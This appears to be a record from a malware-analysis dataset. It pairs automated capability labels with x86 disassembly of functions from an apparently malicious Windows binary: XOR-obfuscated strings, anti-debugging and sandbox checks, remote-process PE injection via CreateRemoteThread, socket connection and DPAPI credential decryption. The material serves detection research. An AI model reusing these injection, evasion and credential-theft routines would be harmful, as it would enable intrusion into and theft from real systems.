joyce8/EMBER2024-capa huggingface dataset:
Function at 0x415010
Capabilities:
Check os version
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov byte [ebp - 0x1c], 0xa2
xor edx, edx
mov byte [ebp - 0x1b], 0x85
mov byte [ebp - 0x1a], 0x95
mov byte [ebp - 0x19], 0x41
mov byte [ebp - 0x18], 0x68
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x54
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0x12], 0x63
push esi
mov byte [ebp - 0x11], 0x61
mov esi, ecx
push edi
mov byte [ebp - 0x10], 0x6b
mov edi, 0xf
mov byte [ebp - 0xf], 5
mov al, byte [ebp - 0x1c]
mov dword [ebp - 4], edx
push ebx
mov bl, byte [ebp + edx - 0x1c]
mov ecx, edx
and ecx, edi
mov eax, 0x814c66fd
cmp ecx, edi
mov edx, 0x8cfc6d65
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 4]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x1c], al
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xe
jb 0x415060
mov byte [ebp - 0xe], 0x5e
xor edx, edx
mov byte [ebp - 0xd], 0x6b
mov byte [ebp - 0xc], 0x77
mov byte [ebp - 0xb], 0x44
mov byte [ebp - 0xa], 0x41
mov byte [ebp - 9], 0xb
mov byte [ebp - 8], 0x49
mov byte [ebp - 7], 0x46
mov byte [ebp - 6], 0x49
mov byte [ebp - 5], 0x22
mov al, byte [ebp - 0xe]
mov dword [ebp - 4], edx
mov bl, byte [ebp + edx - 0xe]
mov ecx, edx
and ecx, edi
mov eax, 0xee7c8c1d
cmp ecx, edi
mov edx, 0xf6febf40
cmovae ecx, edi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 4]
and al, 0xf
lea ecx, [edx + 0x1d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xe], al
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xa
jb 0x4150c8
lea eax, [ebp - 0xe]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebx
push esi
test eax, eax
je 0x415123
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x415240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52419d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov dword [ebp - 4], 0
xor edx, edx
mov byte [ebp - 0xf], 0xc2
mov esi, 0xf
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xbb
mov al, byte [ebp - 0xf]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xf]
mov ecx, edx
and ecx, esi
mov eax, 0xec92e0b9
cmp ecx, esi
mov edx, 0x210f6849
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 0x47]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xf], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 3
jb 0x415280
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0xf]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.00502ab0
add esp, 8
test eax, eax
je 0x4152e1
push eax
call fcn.0050633e
add esp, 4
mov bl, 1
jmp 0x4152e3
xor bl, bl
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x415310
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x415358
mov edx, ecx
push esi
lea esi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x415320
sub edx, esi
pop esi
je 0x415358
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415352
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x415352
cmp eax, 0x20
je 0x415352
cmp eax, 0x45
je 0x415352
cmp eax, 0x24
jne 0x415358
mov al, 1
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x422800
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x525ebe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
push ebx
push esi
xor ebx, ebx
mov byte [ebp - 0xe], cl
push edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], 1
xor edx, edx
mov edi, dword [ebp + 0xc]
mov eax, 0x2aaaaaab
mov esi, dword [ebp + 8]
mov dword [ebp - 0x1c], edx
mov edx, edi
sub edx, esi
imul edx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4229bb
xor eax, eax
mov dword [ebp - 0x20], eax
test cl, cl
je 0x422963
add esi, eax
mov dword [ebp - 0x24], esi
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x42286f
mov eax, dword [esi]
push dword [esi + 0x10]
cmp dword [ebp + 0x28], 0x10
lea ecx, [ebp + 0x14]
mov edx, dword [ebp + 0x24]
cmovae ecx, dword [ebp + 0x14]
push eax
push 0
call fcn.00490b10
add esp, 0xc
test eax, eax
je 0x422933
mov byte [ebp - 0x12], 0xa
xor ebx, ebx
mov byte [ebp - 0x11], 0x1a
mov esi, 0xf
mov byte [ebp - 0x10], 0x1d
mov byte [ebp - 0xf], 0x35
mov al, byte [ebp - 0x12]
nop dword [eax]
mov al, byte [ebp + ebx - 0x12]
mov ecx, ebx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xb431d535
mov edx, 0xbaee67fc
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
and al, 0xf
lea ecx, [ebx + 0x35]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + ebx - 0x12], al
inc ebx
cmp ebx, 4
jb 0x4228b0
mov esi, dword [ebp - 0x24]
lea edx, [ebp - 0x12]
push esi
lea ecx, [ebp - 0x3c]
call fcn.0048f290
add esp, 4
mov byte [ebp - 4], 2
mov ebx, dword [ebp - 0x18]
or ebx, 1
mov dword [ebp - 0x18], ebx
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x422910
mov eax, dword [eax]
cmp dword [ebp + 0x28], 0x10
lea ecx, [ebp + 0x14]
push edx
cmovae ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x24]
push eax
push 0
call fcn.00490b10
add esp, 0xc
mov byte [ebp - 0xd], 0
cmp eax, 0xffffffff
je 0x422937
mov byte [ebp - 0xd], 1
mov dword [ebp - 4], 1
test bl, 1
je 0x422951
and ebx, 0xfffffffe
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x18], ebx
call fcn.0040b870
cmp byte [ebp - 0xd], 0
jne 0x4229eb
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
jmp 0x422990
mov edx, dword [eax + esi + 0x10]
add eax, esi
cmp dword [eax + 0x14], 0x10
jb 0x422971
mov eax, dword [eax]
cmp dword [ebp + 0x28], 0x10
lea ecx, [ebp + 0x14]
push edx
cmovae ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x24]
push eax
push 0
call fcn.00490b10
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4229eb
inc dword [ebp - 0x1c]
mov ecx, edi
add dword [ebp - 0x20], 0x18
sub ecx, esi
mov eax, 0x2aaaaaab
imul ecx
mov cl, byte [ebp - 0xe]
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
jb 0x422858
xor bl, bl
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.0048ccb0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x14]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov bl, 1
jmp 0x4229bd
Function at 0x423140
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x423180
Capabilities:
Encode data using xor
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push ebx
push esi
push 0x100
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x18], 0x100
push 0
push eax
mov dword [ebp - 0x1c], 0x100
call fcn.004fec40
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x21c]
push 0
push eax
call fcn.004fec40
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov byte [ebp - 0x14], 0x6a
xor edx, edx
mov byte [ebp - 0x13], 0x4b
mov esi, 0xf
mov byte [ebp - 0x12], 0x4d
mov byte [ebp - 0x11], 0x41
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x4b
mov byte [ebp - 0xe], 0x4c
mov byte [ebp - 0xd], 0x21
mov al, byte [ebp - 0x14]
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 0x14]
mov ecx, edx
and ecx, esi
mov eax, 0xd2e67225
cmp ecx, esi
mov edx, 0xdc11f89e
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0xc]
and al, 0xf
lea ecx, [edx + 0x25]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x14], al
inc edx
mov dword [ebp - 0xc], edx
cmp edx, 8
jb 0x423214
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004fe0f0
add esp, 8
test eax, eax
jne 0x4232de
mov byte [ebp - 7], 0x18
xor edx, edx
mov byte [ebp - 6], 0x16
mov byte [ebp - 5], 0x19
mov byte [ebp - 4], 0x67
mov byte [ebp - 3], 2
mov byte [ebp - 2], 0x1a
mov byte [ebp - 1], 0x5a
mov al, byte [ebp - 7]
mov dword [ebp - 0xc], edx
mov bl, byte [ebp + edx - 7]
mov ecx, edx
and ecx, esi
mov eax, 0xfd43a651
cmp ecx, esi
mov edx, 0xf26376ea
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0xc]
and al, 0xf
lea ecx, [edx + 0x51]
xor al, cl
xor al, bl
mov byte [ebp + edx - 7], al
inc edx
mov dword [ebp - 0xc], edx
cmp edx, 7
jb 0x423287
lea eax, [ebp - 7]
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.004fe0f0
add esp, 8
test eax, eax
jne 0x4232de
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423340
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x28]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x28], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov esi, 0xf
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov eax, dword [ebp - 0x20]
mov byte [ebp - 0x15], 0x4b
mov byte [ebp - 0x14], 0x45
mov byte [ebp - 0x13], 0x56
mov byte [ebp - 0x12], 0x4b
mov byte [ebp - 0x11], 0x40
mov byte [ebp - 0x10], 0x42
mov byte [ebp - 0xf], 0x1a
mov byte [ebp - 0xe], 0x1c
mov byte [ebp - 0xd], 7
shr eax, 0x1f
mov byte [ebp - 0xc], 0x47
and eax, 0xffffff01
mov byte [ebp - 0xb], 0x42
xor edx, edx
mov byte [ebp - 0xa], 0x4d
mov dword [ebp - 8], eax
mov byte [ebp - 9], 0x2c
mov al, byte [ebp - 0x15]
mov dword [ebp - 4], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x15]
mov ecx, edx
and ecx, esi
mov eax, 0x6e801721
cmp ecx, esi
mov edx, 0x1021d590
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 4]
and al, 0xf
lea ecx, [edx + 0x21]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x15], al
inc edx
mov dword [ebp - 4], edx
cmp edx, 0xd
jb 0x4233c0
lea eax, [ebp - 0x15]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, dword [ebp - 8]
test eax, eax
mov eax, 1
movzx ecx, dl
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x425a70
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x52613b
push eax
mov dword fs:[0], esp
sub esp, 0x11c
mov eax, dword [0x571570]
push edi
mov edi, ecx
test al, 1
jne 0x425aed
or eax, 1
mov dword [0x571570], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [0x57157c], xmm0
mov eax, 0x2f5c
mov dword [0x57158c], 2
push 0x537340
mov dword [0x571590], 0xf
mov word [0x57157c], ax
mov byte [0x57157e], 0
call fcn.004e69fc
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x425af7
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x425bff
cmp dword [0x571590], 0x10
mov ecx, dword [edi + 0x10]
push esi
mov esi, 0x57157c
mov dword [ebp - 0x10], edi
cmovae esi, dword [0x57157c]
cmp dword [edi + 0x14], 0x10
jb 0x425b2c
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
cmp dword [0x57158c], 0
je 0x425bd9
test ecx, ecx
je 0x425bd9
push 0x100
lea eax, [ebp - 0x128]
push 0
push eax
call fcn.004fec40
mov ecx, dword [0x57158c]
add esp, 0xc
add ecx, esi
cmp esi, ecx
je 0x425b73
movzx eax, byte [esi]
inc esi
mov byte [ebp + eax - 0x128], 1
cmp esi, ecx
jne 0x425b63
mov eax, dword [edi + 0x10]
or ecx, 0xffffffff
mov edx, dword [ebp - 0x10]
dec eax
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + edx]
add ecx, edx
mov al, byte [ebp + eax - 0x128]
test al, al
jne 0x425ba7
cmp ecx, edx
je 0x425bd9
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x128]
test al, al
je 0x425b93
sub ecx, edx
cmp ecx, 0xffffffff
je 0x425bd9
push ecx
push 0
lea eax, [ebp - 0x28]
mov ecx, edi
push eax
call fcn.0048a6b0
mov dword [ebp - 4], 1
mov ecx, eax
call fcn.00425a70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.0040b870
cmp dword [edi + 0x14], 0x10
pop esi
jb 0x425be2
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
pop edi
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x425cc0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
lea eax, [ebp - 0x54]
mov esi, ecx
push 0
push eax
call fcn.004fec40
add esp, 0xc
mov dword [ebp - 0x54], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
movups xmmword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop esi
test eax, eax
je 0x425d1d
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esp, ebp
pop ebp
ret
Function at 0x42a230
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52419d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x224
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
lea ebx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0x40
cmovae ebx, dword [ebp + 8]
cmovae ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ebx
push 0x3000
mov ebx, dword [ebx + 0x3c]
add ebx, ecx
push dword [ebx + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0
push dword [ebx + 0x54]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [ebx + 6]
jae 0x42a2ea
lea esi, [ebx + 0x10c]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebp + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x14]
push ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 6]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x42a2b6
mov esi, dword [ebp - 0x10]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov edi, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x230], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebx + 0xa0]
add ecx, eax
mov dword [ebp - 0x228], ecx
mov ecx, dword [ebx + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x220], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push 0
push eax
mov dword [ebp - 0x224], ecx
call fcn.004fec40
cmp dword [0x56ebd0], 0x10
mov ecx, 0x56ebbc
mov eax, 0x56ebec
cmovae ecx, dword [0x56ebbc]
cmp dword [0x56ec00], 0x10
push ecx
cmovae eax, dword [0x56ebec]
push eax
lea eax, [ebp - 0x218]
push str._s_s
push eax
call fcn.0040be80
add esp, 0x1c
lea eax, [ebp - 0x230]
push 0
push 0x218
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebp - 0x10]
lea esi, [edi + 0x218]
push 0
mov eax, fcn.0042a220
sub eax, 0x42a110
push eax
push 0x42a110
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x42eec0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
mov esi, edx
mov ebx, ecx
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x42ef83
mov dword [esp + 0x10], eax
xorps xmm0, xmm0
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
movlpd qword [esp + 0x24], xmm0
push eax
push esi
push ebx
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x42ef7d
mov esi, dword [esp + 0xc]
test esi, esi
je 0x42ef91
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x42ef7d
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x42ef8d
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x42ef41
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x42ef7d
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x42ff50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x527acd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
mov dword [ebp - 4], 0
push 0x571024
call fcn.004e5d12
add esp, 4
test eax, eax
jne 0x4300c5
mov byte [ebp - 0x1a], 0xbd
xor edx, edx
mov byte [ebp - 0x19], 0xb0
mov esi, 0xf
mov byte [ebp - 0x18], 0xa1
mov byte [ebp - 0x17], 0x7a
mov byte [ebp - 0x16], 0x54
mov byte [ebp - 0x15], 0xe
mov al, byte [ebp - 0x1a]
mov dword [ebp - 0x14], edx
nop dword [eax]
mov al, byte [ebp + edx - 0x1a]
mov ecx, edx
and ecx, esi
mov byte [ebp - 0xd], al
cmp ecx, esi
mov eax, 0xb3c96efd
mov edx, 0x889ee0d3
cmovae ecx, esi
shl ecx, 2
call fcn.00522040
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx - 3]
xor al, cl
xor al, byte [ebp - 0xd]
mov byte [ebp + edx - 0x1a], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 6
jb 0x42ffb0
lea eax, [ebp + 8]
push eax
lea edx, [ebp - 0x1a]
lea ecx, [ebp - 0x34]
call fcn.0048f290
add esp, 4
mov byte [ebp - 4], 1
mov ecx, dword [0x571134]
cmp ecx, dword [0x571138]
je 0x43004e
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
add dword [0x571134], 0x18
jmp 0x43005a
push eax
push ecx
mov ecx, 0x571130
call fcn.00498640
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x34]
call fcn.0040b870
push 0x571024
call fcn.004e5d23
mov esi, dword [0x56eb3c]
lea eax, [ebp + 8]
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.0048ac50
mov byte [ebp - 4], 2
mov byte [ebp - 4], 0
mov edx, 0x2714
mov ecx, esi
call fcn.0042f030
add esp, 0x18
test eax, eax
setg byte [ebp - 0xd]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040b870
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
push eax
call fcn.004e59bb
int3
Function at 0x430bf0
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5237fd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x1c], ecx
nop
lea eax, [ebp - 0x18]
mov dword [ebp - 0x20], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call edi
test eax, eax
jne 0x430c46
add esi, 0x10
cmp esi, 0x800
jbe 0x430c20
cmp esi, 0x800
jae 0x430c6a
push 0x800
call fcn.0050b67d
mov edi, eax
add esp, 4
test edi, edi
jne 0x430c7c
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 0x800
push 0
push edi
call fcn.004fec40
mov esi, dword [ebp - 0x18]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [ebp - 0x14]
push edi
call fcn.004fe500
add esp, 0x18
mov dword [ebp - 0x28], 0
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x38]
movups xmmword [ebp - 0x38], xmm0
push esi
push edi
call fcn.0040bb00
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
mov esi, dword [ebp - 0x10]
cmp esi, eax
je 0x430d06
mov ecx, esi
call fcn.0040b870
movups xmm0, xmmword [ebp - 0x38]
mov eax, 0xf
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x28]
mov dword [ebp - 0x24], eax
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x38], 0
jmp 0x430d09
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x430d3f
mov edx, dword [ebp - 0x38]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x430d35
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x430d75
push ecx
push edx
call fcn.004e6a11
add esp, 8
push edi
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0xf
mov byte [ebp - 0x38], 0
call fcn.0050af27
add esp, 4
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.00501f00
int3